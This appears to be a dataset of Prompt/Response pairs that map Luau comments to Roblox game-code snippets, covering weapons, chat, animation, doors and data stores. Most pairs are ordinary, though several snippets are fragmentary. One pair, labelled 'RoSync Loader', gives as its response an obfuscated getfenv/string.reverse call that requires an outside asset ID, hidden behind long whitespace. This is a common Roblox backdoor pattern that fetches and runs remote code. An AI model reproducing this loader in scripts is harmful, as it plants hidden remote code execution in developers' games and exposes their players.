local throttleEnabled = false
local lastThrottleUpdate = 0

local enginePower = 0 -- current rpm of the engine
local gainModifier = 1 -- modifier to engine rpm gain (lower if approaching max speed)


Prompt: --//Controller//--

Response:
ClickDetector.MouseClick:Connect(function()
	if not Settings.Clicked then
		Settings.Clicked = true

		MainButton.Color = Color3.fromRGB(0, 255, 0)

		if CurrentLayer.Value == 0 then
			CurrentLayer.Value = 1

			for _, Object in pairs(FirstLayer:GetChildren()) do
				if Object:IsA("BasePart") then
					Object.Transparency = 0
					Object.CanCollide = true

				end
			end

		elseif CurrentLayer.Value == 1 then
			CurrentLayer.Value = 2

			for _, Object in pairs(SecondLayer:GetChildren()) do
				if Object:IsA("BasePart") then
					Object.Transparency = 0
					Object.CanCollide = true

				end
			end

		elseif CurrentLayer.Value == 2 then
			CurrentLayer.Value = 3

			for _, Object in pairs(ThirdLayer:GetChildren()) do
				if Object:IsA("BasePart") then
					Object.Transparency = 0
					Object.CanCollide = true

				end
			end
		end
	end
end)


Prompt:
--[=[
	Inverts the result of a promise, turning a resolved promise
	into a rejected one, and a rejected one into a resolved one.

	@param promise Promise<T>
	@return Promise<T>
]=]

Response:
function PromiseUtils.invert(promise)
	if promise:IsPending() then
		return promise:Then(function(...)
			return Promise.rejected(...)
		end, function(...)
			return Promise.resolved(...)
		end)
	else
		local results = {promise:GetResults()}
		if results[1] then
			return Promise.rejected(unpack(results, 2))
		else
			return Promise.resolved(unpack(results, 2))
		end
	end
end


Prompt: -- events

Response:
Players.PlayerRemoving:connect(function(player)
	if pings[player] then
		pings[player]	= nil
	end
end)

script.Projectile.Event:connect(Projectile)


Prompt: -- Constructor.

Response:
function FastCast.new()
	return setmetatable({
		LengthChanged = Signal.new("LengthChanged"),
		RayFinalHit = Signal.new("RayFinalHit"),
		RayHit = Signal.new("RayHit"),
		RayPenetrated = Signal.new("RayPenetrated"),
		CastTerminating = Signal.new("CastTerminating"),
		WorldRoot = workspace
	}, FastCast)
end


Prompt: -- functions

Response:
local function Raycast(position, direction, ignore)
	local ray		= Ray.new(position, direction)
	local success	= false
	local h, p, n, humanoid

	table.insert(ignore, Workspace.Effects)
	table.insert(ignore, Workspace.Drops)

	repeat
		h, p, n	= Workspace:FindPartOnRayWithIgnoreList(ray, ignore)

		if h then
			local humanoid	= h.Parent:FindFirstChildOfClass("Humanoid")
			if humanoid then
				table.insert(ignore, humanoid.Parent)
				success	= false
			elseif h.CanCollide and h.Transparency < 1 then
				success	= true
			else
				table.insert(ignore, h)
				success	= false
			end
		else
			success	= true
		end
	until success

	return h, p, n
end


Response:
	HeadBase = Instance.new('Part')
	HeadBase.Name = 'BasePart'
	HeadBase.Parent = Camera
	HeadBase.Anchored = true
	HeadBase.CanCollide = false
	HeadBase.Transparency = 1
	HeadBase.Size = Vector3.new(0.1, 0.1, 0.1)

	HeadBaseAtt = Instance.new('Attachment')
	HeadBaseAtt.Parent = HeadBase

	local StatusUI = PastaHUD:WaitForChild("StatusUI")
	local StatusClone = StatusUI:Clone()
	StatusClone.Parent = Jogador.PlayerGui

	if ServerConfig.EnableHunger then
		StatusClone.FomeSede.Disabled = false
	end

if ServerConfig.EnableGPS then
	local StatusUI = PastaHUD:WaitForChild("GPShud")
	local StatusClone = StatusUI:Clone()
	StatusClone.Parent = Jogador.PlayerGui
	StatusClone.GPS.Disabled = false
end

function ResetWorkspace()
	Ignore_Model:ClearAllChildren()
	BulletModel:ClearAllChildren()
	workspace.Terrain:ClearAllChildren()
end

ResetWorkspace()

Evt.Hit.OnClientEvent:Connect(function(Player,Position, HitPart, Normal, Material,Settings)
	if Player ~= Jogador then
		Hitmarker.HitEffect(Ray_Ignore,ACS_Storage,Position, HitPart, Normal, Material,Settings)
	end
end)

Evt.HeadRot.OnClientEvent:Connect(function(Player, Rotacao, Offset, Equipado)
	if Player ~= Jogador and Player.Character and Player.Character:FindFirstChild("HumanoidRootPart") ~= nil then
		local HRPCF =  Player.Character["HumanoidRootPart"].CFrame * CFrame.new(0, 1.5, 0) * CFrame.new(Offset)
		Player.Character.Torso:WaitForChild("Neck").C0 =  Player.Character.Torso.CFrame:toObjectSpace(HRPCF)
		Player.Character.Torso:WaitForChild("Neck").C1 =  CFrame.Angles(Rotacao, 0, 0)
	end
end)

Evt.Atirar.OnClientEvent:Connect(function(Player,FireRate,Anims,Arma)

if Player ~= Jogador then

	if Player.Character:FindFirstChild('S' .. Arma.Name) ~= nil and Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle") ~= nil then
		local Muzzle = Player.Character['S' .. Arma.Name].Grip:FindFirstChild("Muzzle")

		if  Player.Character['S' .. Arma.Name]:FindFirstChild("Silenciador") ~= nil and Player.Character['S' .. Arma.Name].Silenciador.Transparency == 0 then
				Muzzle:FindFirstChild("FlashFX").Brightness = 0
				Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 0
			else
				Muzzle:FindFirstChild("FlashFX").Brightness = 5
				Muzzle:FindFirstChild("FlashFX[Flash]").Rate = 1000
			end

		for _, v in pairs(Muzzle:GetChildren()) do
				if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then
					v.Enabled = true
					end
				end

		delay(1 / 30, function()

			for _, v in pairs(Muzzle:GetChildren()) do
				if v.Name:sub(1, 7) == "FlashFX" or v.Name:sub(1, 7) == "Smoke" then
					v.Enabled = false
				end
			end
		end)

	end
 	if  Player.Character:FindFirstChild("AnimBase") ~= nil and Player.Character.AnimBase:FindFirstChild("AnimBaseW") then
		local AnimBase = Player.Character:WaitForChild("AnimBase"):WaitForChild("AnimBaseW")

		TS:Create(AnimBase, TweenInfo.new(FireRate), {C1 = Anims.ShootPos} ):Play()
		wait(FireRate*2)
		TS:Create(AnimBase, TweenInfo.new(.2), {C1 = CFrame.new()} ):Play()
	end
end
end)

function Setup(Tools)

	local Torso = Character:FindFirstChild('Torso')
	local Head = Character:FindFirstChild('Head')
	local HumanoidRootPart = Character:FindFirstChild('HumanoidRootPart')

	ArmaClient = Tools
	ArmaClone = GunModelClient:WaitForChild(ArmaClient.Name):Clone()
	Var = Tools.ACS_Modulo.Variaveis
	Settings = require(Var:WaitForChild("Settings"))
	Anims = require(Var:WaitForChild("Animations"))

	 VRecoil = math.random(Settings.VRecoil[1],Settings.VRecoil[2])/1000
	 HRecoil = math.random(Settings.HRecoil[1],Settings.HRecoil[2])/1000
	 VPunchBase = (Settings.VPunchBase)
	 HPunchBase = (Settings.HPunchBase)
	 DPunchBase = (Settings.DPunchBase)
	 RecoilPower = Settings.MinRecoilPower
	 BSpread = Settings.MinSpread

	 Silencer = Var.Suppressor
	 Ammo, StoredAmmo, GLAmmo = Var.Ammo, Var.StoredAmmo, Var.LauncherAmmo
	 Chambered,Emperrado,GLChambered = Var.Chambered, Var.Emperrado, Var.GLChambered
	 FireRate = 1/(Settings.FireRate/60)
	 BurstFireRate = 1/(Settings.BurstFireRate/60)

	 ModoTreino = Settings.ModoTreino

	 Sens = Var.Sens
	 Zeroing = Var.Zeroing

	Evt.Equipar:FireServer(ArmaClient,Settings)

 	Folder = Instance.new("Model", Camera)
	Folder.Name = Tools.Name

	AnimBase = Instance.new("Part", Folder)
	AnimBase.FormFactor = "Custom"
	AnimBase.CanCollide = false
	AnimBase.Transparency = 1
	AnimBase.Anchored = true
	AnimBase.Name = "AnimBase"
	AnimBase.Size = Vector3.new(0.1, 0.1, 0.1)

	AnimBaseW = Instance.new("Motor6D")
	AnimBaseW.Part0 = AnimBase
	AnimBaseW.Part1 = HeadBase
	AnimBaseW.Parent = AnimBase
	AnimBaseW.Name = "AnimBaseW"
	AnimBase.Anchored = false

	Clone = Instance.new('Motor6D')
	Clone.Name = 'Clone'
	Clone.Parent = AnimBase
	Clone.Part0 = AnimBase
	Clone.Part1 = HeadBase

	ArmaClone.Parent = Folder

	for L_209_forvar1, L_210_forvar2 in pairs(ArmaClone:GetChildren()) do
		if L_210_forvar2:IsA('BasePart') and L_210_forvar2.Name ~= 'Handle' then
			if L_210_forvar2.Name ~= "Bolt" and L_210_forvar2.Name ~= 'Lid' then
				Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle"))
			end

			if L_210_forvar2.Name == "Bolt" or L_210_forvar2.Name == "Slide" then
				Ultil.WeldComplex(ArmaClone:WaitForChild("Handle"), L_210_forvar2, L_210_forvar2.Name)
			end;

			if L_210_forvar2.Name == "Lid" then
				if ArmaClone:FindFirstChild('LidHinge') then
					Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("LidHinge"))
				else
					Ultil.Weld(L_210_forvar2, ArmaClone:WaitForChild("Handle"))
				end
			end
		end
	end;

	for L_213_forvar1, L_214_forvar2 in pairs(ArmaClone:GetChildren()) do
		if L_214_forvar2:IsA('BasePart') and L_214_forvar2.Name ~= 'Grip' then
			L_214_forvar2.Anchored = false
			L_214_forvar2.CanCollide = false
		end
	end;
	--LoadClientMods()
	RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW = SetupMod(Folder, Ultil, Character, RA, LA, Right_Weld, Left_Weld, AnimBase, AnimBaseW, Settings, ArmaClone)
	Equipped = true
	if ArmaClone:FindFirstChild('Silenciador')~= nil then
		if Silencer.Value == true then
			ArmaClone.Silenciador.Transparency = 0
			ArmaClone.SmokePart.FlashFX.Brightness = 0
			ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 0
			Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)
		else
			ArmaClone.Silenciador.Transparency = 1
			ArmaClone.SmokePart.FlashFX.Brightness = 5
			ArmaClone.SmokePart:FindFirstChild("FlashFX[Flash]").Rate = 1000
			Evt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)
		end
	end
end

function Unset()

	if ArmaClient then
	Evt.Desequipar:FireServer(ArmaClient,Settings)
	end
	UnloadClientMods()

	if Folder then
		Folder:Destroy()
	end
	Equipped = false
	Aiming = false
	Safe = false
	Bipod = false
	LanternaAtiva = false
	IRmode = false
	LaserAtivo = false
	--Silencer = false
	CancelReload = false
	Reloading = false
	slideback = false
	OverHeat = false
	uis.MouseIconEnabled = true
	game:GetService('UserInputService').MouseDeltaSensitivity = 1
	Camera.CameraType = Enum.CameraType.Custom
	Player.CameraMode = Enum.CameraMode.Classic
	AimPartMode = 1
	stance = 0
	tweenFoV(70,15)
	TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()
	Evt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode)
	if Gui then
		Gui.Visible = false
	end

	for _,c in pairs(Connections) do
			c:disconnect()
		end
		Connections = {}
		Walking = false
		a = false
		d = false
end

function Update_Gui()
	if CanUpdateGui then

		if ArmaClone:FindFirstChild("BipodPoint") ~= nil then
			Gui.Bipod.Visible = true
		else
			Gui.Bipod.Visible = false
		end

		if Settings.ArcadeMode == true then
			Gui.Ammo.Visible = true
			Gui.Ammo.AText.Text = Ammo.Value.."|"..Settings.Ammo
		else
			Gui.Ammo.Visible = false
		end

		if Settings.FireModes.Explosive == true and GLChambered.Value == true then
			Gui.E.ImageColor3 = Color3.fromRGB(255,255,255)
			Gui.E.Visible = true
		elseif Settings.FireModes.Explosive == true and GLChambered.Value == false then
			Gui.E.ImageColor3 = Color3.fromRGB(255,0,0)
			Gui.E.Visible = true
		elseif Settings.FireModes.Explosive == false then
			Gui.E.Visible = false
		end

		if Safe == true then
			Gui.A.Visible = true
		else
			Gui.A.Visible = false
		end

		if Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == false then
			Gui.B.Visible = true
			Gui.B.BackgroundColor3 = Color3.fromRGB(255,255,255)
		elseif Chambered.Value == true and Ammo.Value > 0 and Emperrado.Value == true then
			Gui.B.Visible = true
			Gui.B.BackgroundColor3 = Color3.fromRGB(255,0,0)
		else
			Gui.B.Visible = false
		end
		Gui.FText.Text = Settings.Mode

		if Settings.Mode ~= "Explosive" then
			Gui.BText.Text = Settings.BulletType
		else
			Gui.BText.Text = "HEDP"
		end
		Gui.Sens.Text = (Sens.Value/100)
		Gui.ZeText.Text = Zeroing.Value .." m"
		Gui.NText.Text = Settings.Name

		if Settings.Mode ~= "Explosive" then
			if Settings.MagCount then
				Gui.SAText.Text = math.ceil(StoredAmmo.Value/Settings.Ammo)
			else
				Gui.SAText.Text = StoredAmmo.Value
			end
		else
			Gui.SAText.Text =  GLAmmo.Value
		end

		if Silencer.Value == true then
			Gui.Silencer.Visible = true
		else
			Gui.Silencer.Visible = false
		end

		if LaserAtivo == true then
			Gui.Laser.Visible = true
			if IRmode then
				Gui.Laser.ImageColor3 = Color3.new(0,255,0)
			else
				Gui.Laser.ImageColor3 = Color3.new(255,255,255)
			end
		else
			Gui.Laser.Visible = false
		end

		if LanternaAtiva == true then
			Gui.Flash.Visible = true
		else
			Gui.Flash.Visible = false
		end

	end
end

function CheckMagFunction()
	if CanUpdateGui then
		Gui.CMText.TextTransparency = 0
		Gui.CMText.TextStrokeTransparency = 0.9
		if Ammo.Value >= Settings.Ammo then
			Gui.CMText.Text = "Full"
		elseif Ammo.Value > math.floor((Settings.Ammo)*.75) and Ammo.Value < Settings.Ammo then
			Gui.CMText.Text = "Nearly full"
		elseif Ammo.Value < math.floor((Settings.Ammo)*.75) and Ammo.Value > math.floor((Settings.Ammo)*.5) then
			Gui.CMText.Text = "Almost half"
		elseif Ammo.Value == math.floor((Settings.Ammo)*.5) then
			Gui.CMText.Text = "Half"
		elseif Ammo.Value > math.ceil((Settings.Ammo)*.25) and Ammo.Value <  math.floor((Settings.Ammo)*.5) then
			Gui.CMText.Text = "Less than half"
		elseif Ammo.Value < math.ceil((Settings.Ammo)*.25) and Ammo.Value > 0 then
			Gui.CMText.Text = "Almost empty"
		elseif Ammo.Value == 0 then
			Gui.CMText.Text = "Empty"
		end
		TS:Create(Gui.CMText,TweenInfo.new(10),{TextTransparency = 1,TextStrokeTransparency = 1}):Play()
	end
end

function Sprint()
if Equipped then
	if Correndo and SpeedPrecision > 0 then
		MouseHeld = false
		if Aiming then
			game:GetService('UserInputService').MouseDeltaSensitivity = 1
			ArmaClone.Handle.AimUp:Play()
			tweenFoV(70,120)
			Aiming = false
			TS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()
		end
		if not Safe and not AnimDebounce then
		stance = 3
		Evt.Stance:FireServer(stance,Settings,Anims)
		SprintAnim()
		end
	elseif not Correndo or SpeedPrecision == 0 then
		if not Safe and not AnimDebounce then
		if Aiming then
		stance = 2
		Evt.Stance:FireServer(stance,Settings,Anims)
		IdleAnim()
		else
		stance = 0
		Evt.Stance:FireServer(stance,Settings,Anims)
		IdleAnim()
		end
		end
	end
end
end

Sprinting.Changed:connect(function(Valor)
	Correndo = Valor
	Sprint()
end)


Prompt: --use this to determine if you want this human to be harmed or not, returns boolean

Response:
function checkTeams(otherHuman)
	return not (sameTeam(otherHuman) and not FriendlyFire==true)
end

function boom()
	wait(1.5)
	Used = true
	Object.Anchored = true
	Object.CanCollide = true
	Object.Orientation = Vector3.new(0,0,0)
	Object.Transparency = 1
	Object.Explode:Play()
	Object.Explosion:Emit(100)
	Explode()
end

Object.Touched:Connect(function(part)
	if Used == true or part.Name == "Handle" then return end
	if part:IsDescendantOf(Tag.Value.Character) then return end
	if part.Parent then
		if part.Parent:FindFirstChild("Humanoid") then
			local human = part.Parent.Humanoid
			if checkTeams(human) then
				tagHuman(human)
				human:TakeDamage(Damage)
			end
		end
		Used = true
		Object.Impact:Play()
		Object.Velocity = Vector3.new(Object.Velocity.x/10,Object.Velocity.y/10,Object.Velocity.z/10)
		Object.RotVelocity = Vector3.new(Object.RotVelocity.x/10,Object.RotVelocity.y/10,Object.RotVelocity.z/10)
		game:GetService("Debris"):AddItem(Object, 10)
	end
end)

boom()


Prompt:
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 ]]

Response:
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local String = LuauPolyfill.String
local exports = {}


Response:
	,EnableHolster = false
	,HolsterTo = 'Torso'				 -- Put the name of the body part you wanna holster to
	,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))

	,RightArmPos = CFrame.new(-0.85, -0.2, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Server
	,LeftArmPos = CFrame.new(1.2,-0.2,-1.4) * CFrame.Angles(math.rad(-100),math.rad(25),math.rad(-20))	--server

	,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0))
	,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0))

	,RightPos = CFrame.new(-.9, .15, -1.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))	--Client
	,LeftPos = CFrame.new(1,-1,-1) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))	--Client
}

return Config


Prompt:
--local pln_ID = math.random(0,300) +2312
--script.Parent.Pln_ID.Value = pln_ID

Response:
plane=nil
hold=false
vSpeed = 0
taxiing = true
local debounce = false
local planedebounce = false
local stuntdebounce = false
local controlling = false
local on = false
local Mousefollow = false
local faster = false
local slower = false
local uper = false
local downer = false
local sideright = false
local sideleft = false
local sideway = 0
local minigun_shoot = false
local missile_side = 1
local show_ammo = false
local startLock = false


Prompt:
--[=[
	@param tbl table
	@param name string
	@param inboundMiddleware ServerMiddleware?
	@param outboundMiddleware ServerMiddleware?
	@return RemoteFunction
]=]

Response:
function ServerComm:WrapMethod(tbl: {}, name: string, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?): RemoteFunction
	return Comm.Server.WrapMethod(self._instancesFolder, tbl, name, inboundMiddleware, outboundMiddleware)
end


Prompt: --// Rest of code after waiting for correct events.

Response:
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer

while not LocalPlayer do
	Players.ChildAdded:wait()
	LocalPlayer = Players.LocalPlayer
end

local canChat = true

local ChatDisplayOrder = 6
if ChatSettings.ScreenGuiDisplayOrder ~= nil then
	ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder
end

local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local GuiParent = Instance.new("ScreenGui")
GuiParent.Name = "Chat"
GuiParent.ResetOnSpawn = false
GuiParent.DisplayOrder = ChatDisplayOrder
GuiParent.Parent = PlayerGui

local DidFirstChannelsLoads = false

local modulesFolder = script

local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow"))
local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar"))
local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar"))
local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator"))
local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay"))
local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor"))

local ChatWindow = moduleChatWindow.new()
local ChannelsBar = moduleChannelsBar.new()
local MessageLogDisplay = moduleMessageLogDisplay.new()
local CommandProcessor = moduleCommandProcessor.new()
local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow)

ChatWindow:CreateGuiObjects(GuiParent)

ChatWindow:RegisterChatBar(ChatBar)
ChatWindow:RegisterChannelsBar(ChannelsBar)
ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay)

MessageCreatorUtil:RegisterChatWindow(ChatWindow)

local MessageSender = require(modulesFolder:WaitForChild("MessageSender"))
MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest)

if (UserInputService.TouchEnabled) then
	ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarTextTouch",'Tap here to chat'))
else
	ChatBar:SetTextLabelText(ChatLocalization:Get("GameChat_ChatMain_ChatBarText",'To chat click here or press "/" key'))
end

spawn(function()
	local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
	local animationFps = ChatSettings.ChatAnimationFPS or 20.0

	local updateWaitTime = 1.0 / animationFps
	local lastTick = tick()
	while true do
		local currentTick = tick()
		local tickDelta = currentTick - lastTick
		local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta)

		if dtScale ~= 0 then
			ChatWindow:Update(dtScale)
		end

		lastTick = currentTick
		wait(updateWaitTime)
	end
end)


Prompt: --[[ Last synced 11/11/2020 02:39                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt:
--Choose One From These Two Scripts Choose V2 It's Better Then V1
--And it's More Updated.
--Choose One Of The Two Or It Won't Work.
--Thanks For Using My Script.


Prompt: --"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--

Response:
local door = script.Parent
local CanOpen1 = true
local CanClose1 = false
local clearance = {
	["[SCP] Card-Omni"] = true,
	["[SCP] Card-L5"] = true,
	["[SCP] Card-L4"] = true,
	["[SCP] Card-L3"] = false,
	["[SCP] Card-L2"] = false,
	["[SCP] Card-L1"] = false
}

						--DO NOT EDIT PAST THIS LINE--
function openDoor()
	for i = 3,(door.Size.z / 0.15) do
		wait()
		door.CFrame = door.CFrame - (door.CFrame.lookVector * 0.15)
	end
end

function closeDoor()
	for i = 3,(door.Size.z / 0.15) do
		wait()
		door.CFrame = door.CFrame + (door.CFrame.lookVector * 0.15)
	end
end

script.Parent.Parent.KeycardReader1.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
		CanOpen1 = false
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	end
end)

script.Parent.Parent.KeycardReader2.touched:connect(function(touch)
	if touch.Name == "Handle" and clearance[touch.Parent.Name] and CanOpen1 == true then
		CanOpen1 = false
		wait(0.75)
		openDoor()
		wait(1)
		CanClose1 = true
	elseif touch.Name == "Handle" and clearance[touch.Parent.Name] and CanClose1 == true then
		CanClose1 = false
		wait(0.75)
		closeDoor()
		wait(1)
		CanOpen1 = true
	end
end)


Prompt: -- This function is monkey patched to return MockDataStoreService during tests

Response:
local DataStoreService = game:GetService("DataStoreService")

local DataStoreServiceRetriever = {}

function DataStoreServiceRetriever.Get()
	return DataStoreService
end

return DataStoreServiceRetriever


Prompt: -- Loading

Response:
local CutsceneFolder = workspace.Cutscenes:WaitForChild("Died") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.

local Cutscene = require(CutsceneModule)

local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder

local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")


Prompt: -- Services

Response: local PlayersService = game:GetService("Players")


Prompt: -- map a value from one range to another

Response:
function CameraUtils.map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number
	return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end


Prompt: -- Using the desired target rotation and elevation, determine where the gun should point right now (smoothly turn)

Response:
function getSmoothRotation(rotations)

	local targElev = rotations[1];
	local targRot = rotations[2];

	local maxGunDepression = tankStats.GunHandling.GunDepression.Value;
	local maxTraverse = tankStats.GunHandling.GunTraverse.Value;

	-- Restrict the height of travel of the gun
	if math.abs(targElev) > maxGunDepression then
		targElev = maxGunDepression*sign(targElev);
	end

	if math.abs(targRot) > maxTraverse then
		targRot = maxTraverse*sign(targRot);
	end

	-- Once target angles are set, slowly turn turret towards them
	-- Elevation
	local elevDiff = targElev - currentElev;
	if math.abs(elevDiff) < 0.01 then -- If they're close
		currentElev = targElev;
	else -- Move towards it
		currentElev = currentElev + 0.01*sign(elevDiff);
	end

	local rotDiff = targRot - currentRot;
	local turretSpeed = tankStats.GunHandling.TurretSpeed.Value;

	if math.abs(rotDiff) < turretSpeed then -- If they're close
		currentRot = targRot;
	else -- Move towards it
		currentRot = currentRot + turretSpeed*sign(rotDiff);
	end

	-- Put rotation and elevation into an array
	local rotations = {};
	rotations[1] = targElev;
	rotations[2] = targRot;

	return rotations;
end


Prompt:
-- The absolute ceiling limit that the player can jump before
-- triggering the anticheat.

Response: config.JumpHeightTolerance = 11


Prompt: --	Animate.Rainbow = require(script:WaitForChild("Rainbow"))

Response:
	Animate.Rotate = require(script:WaitForChild("Rotate"))
	Animate.Animations = {
		--[[ Tool = {
			Idle = animation_track;
			Action = {
				animation_track;
				animation_track;
				animation_track;
			}
		}]]--
	}

	Animate.Last = {}

	Animate.Humanoid = nil; -- Player requires this module and sets this.

	function Animate.GetHumanoid()
		if not Animate.Humanoid then
			repeat wait() until Animate.Humanoid and Animate.Humanoid:IsDescendantOf(workspace)
		end
		return Animate.Humanoid
	end

	function Animate.GetNextNumber(category,state)
		local category_list = Animate.Animations[category]
		local state_list = category_list and category_list[state] or nil
		if state_list then
			local state_last_number = Animate.Last[category][state] or 1
			local next_number = (state_last_number + 1 <= #state_list) and state_last_number+1 or 1
			return next_number
		end
		return 1
	end

	-- stops the animation from the current category of the given state.
	-- if no state is given, stop all
	function Animate.Stop(category,state)
		if category then
			if state then
				local track = Animate.Animations[category][state][Animate.Last[category][state]]
				if track then
					track:Stop()
				end
			else
				if Animate.Animations[category]then
					for state,tracks in pairs(Animate.Animations[category]) do
						for _,track in pairs(tracks) do
							if track then
								track:Stop()
							end
						end
					end
				end
			end
		end
	end

	function Animate.Play(category,state,number,at_speed)
		if category and state then
			local category_list = Animate.Animations[category]
			if category_list then
				local state_list = category_list[state]
				if state_list then
					local state_last_number = Animate.Last[state]
					number = number or Animate.GetNextNumber(category,state)
					Animate.Last[category][state] = number
					state_list[number]:Play()
					state_list[number]:AdjustSpeed(at_speed or 1.0)
				end
			end
		end
	end

	-- creates a new animation track, and saves it to Animate.Animations[category][state]
	function Animate.Load(category,state,id,replace_slot)
		if category and state and id then
			local humanoid = Animate.GetHumanoid()
			local animation = Instance.new("Animation")
			animation.AnimationId = id
			local track = humanoid:LoadAnimation(animation)
			Animate.Animations[category] = Animate.Animations[category] or {}
			Animate.Animations[category][state] = Animate.Animations[category][state] or {}
			if not replace_slot then
				table.insert(Animate.Animations[category][state], track)
			else
				for i=1,#Animate.Animations[category][state] do -- loop thru and replace the animation track with the new one (called from reload)
					local t = Animate.Animations[category][state][i]
					if t.Animation.AnimationId == id then
						Animate.Animations[category][state][i] = track;
					end
				end
			end
			Animate.Last[category] = {
				[state] = 1;
			}
			return track
		end
	end

	-- removes an id from the state list.
	-- if no state supplied, all states are unloaded (set to {})
	-- if no id supplied, sets the state list to {};
	function Animate.Unload(category,state,id)
		local category_list = Animate.Animations[category]
		if not state and category_list then
			for state,list in pairs(category_list) do
				category_list[state] = {}
			end
		else
			local state_list = category_list and category_list[state] or nil
			if state_list then
				if id then
					for i=1,#state_list do
						if state_list[i] == id then
							table.remove(state_list,i)
						end
					end
				else
					category_list[state] = {};
				end
			end
		end
	end

	function Animate.GetTrack(category, state, id)
		if Animate.Animations[category] and Animate.Animations[category][state] then
			for _, track in pairs(Animate.Animations[category][state]) do
				if track.Animation.AnimationId == id then
					return track
				end
			end
		end
	end

	-- reloads all the current anims
	function Animate.Reload()
		for category, states in pairs(Animate.Animations) do
			for state, tracks in pairs(states) do
				for track_num, track in pairs(tracks) do
					Animate.Load(category, state, track.Animation.AnimationId, true)
				end
			end
		end
	end

return Animate


Prompt:
--[=[
	Initializes the datastore service for players. Should be done via [ServiceBag.Start].
]=]

Response:
function PlayerDataStoreService:Start()
	-- Give time for configuration
	self._started:Resolve()
end


Prompt: --Made by Luckymaxer

Response:
Debris = game:GetService("Debris")

Camera = game:GetService("Workspace").CurrentCamera

Sounds = {
	RayHit = script:WaitForChild("Hit")
}

BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
